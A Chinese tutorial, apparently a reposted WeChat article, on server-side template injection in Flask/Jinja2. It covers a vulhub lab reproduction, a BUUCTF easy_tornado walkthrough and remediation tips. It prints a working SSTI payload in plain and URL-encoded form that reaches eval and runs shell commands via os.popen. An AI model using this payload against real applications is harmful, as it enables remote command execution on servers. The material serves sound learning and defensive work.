前言
模板注入是一种web应用程序中的安全漏洞,攻击者可以通过在应用程序中使用特定的模板语言来注入恶意代码。模板注入攻击通常是针对使用模板引擎的web应用程序,例如Django、Flask、Ruby on Rails等。攻击者利用应用程序中使用的模板引擎的语法规则来注入恶意代码,这些代码可以是HTML、JavaScript、SQL等。一旦攻击者成功注入恶意代码,他们就可以利用这个漏洞来执行各种攻击,如窃取用户信息、篡改网站内容、执行恶意代码等。
注:本文章仅供学习和参考,如出现其他违法行为概不负责。
0x01 模板注入举例
首先用flash 输出一个简单的Hello Flask!
利用jinja2框架渲染html标签中的内容
在app.py同目录下建立一个templates文件夹,并且新建index.html文件
在浏览器访问:http://127.0.0.1:5000/index/?name={{9*9}},可见对html中的内容进行了修改。
0x02 vulhub复现漏洞
目录:/vulhub-master/flask/ssti/
访问http://IP:PORT /?name={{9*9}},存在模板注入
将以下代码进行URL编码:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
URL编码后:
%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20==%20'catch_warnings'%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20==%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20'eval'%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B'eval'%5D('__import__(%22os%22).popen(%22id%22).read()')%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
带入到URL中,成功执行命令
0x03 BUUCTF习题
题目名称:[护网杯 2018]easy_tornado1
进入题目显示三个文件
分别访问得到:
使用/file?filename=xxx的方式随便访问一个文件,直接输出Error找到了注入点msg
访问:
http://4b526a7c-f9b5-4f31-a7d7-457e470ec664.node4.buuoj.cn:81/error?msg={{handler.settings}}
得到cookie
利用题目中给到的加密方式加密
得到flag
0x04 修复建议
1.更新模板引擎
2.输入验证:在向模板引擎提供数据之前,确保对所有输入数据进行严格的验证和过滤。
3.禁用危险的模板标签:禁用所有不必要的和危险的模板标签,如eval、exec、include等。
4.使用模板过滤器:使用模板过滤器可以确保所有输入数据都被正确地转义,从而防止恶意注入。
加入我们
奇点bit
微信号|wz-GoGoGo
V正网安技术分享
创意小栈
微信号|j9498174
强子综合论
每天一小步,进步一大步。
原文始发于微信公众号(奇点bit):Flask-SSTI复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论